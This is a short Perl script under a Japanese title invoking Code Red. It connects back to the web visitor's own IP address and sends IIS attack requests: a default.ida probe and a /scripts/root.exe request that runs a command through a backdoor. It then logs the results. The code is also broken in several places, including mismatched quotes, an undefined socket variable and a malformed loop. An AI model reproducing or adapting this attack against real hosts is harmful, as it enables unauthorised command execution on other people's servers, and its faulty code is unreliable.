鬱だ氏ね！コードレッド(Code Red)

#! /usr/bin/perl
$postmes = '/scripts/root.exe?/c+dir+"c:\"';
$useragent = 'anti akamusi 072';
$target = $ENV{'REMOTE_ADDR'};
use Socket;$sockaddr = 'S n a4 x8';
open(RED,">>codered.txt");
($na,$al,$prt) = getprotobyname('tcp');
($na,$al,$type,$len,$hostaddr)=gethostbyname($target);
$iis=pack($sockaddr,2,80,$hostaddr);
socket(IIS,AF_INET,SOCK_STREAM,$prt);
connect(IIS,$sock);select(IIS);$|=1 ;
print IIS "\r\n";
if(!$u){ print IIS 'GET default.ida?HAYAKUTAIOUSIROBAKA.FUCKIN.IIS.ADMIN HTTP/1.1\r\n";}
else{print IIS "GET $postmes HTTP/1.1\r\n";while(<IIS>{print RED;}}
print IIS "User-Agent: $useragent\r\n";
print IIS "Accept: */*\r\n";
close(HTTP);exit;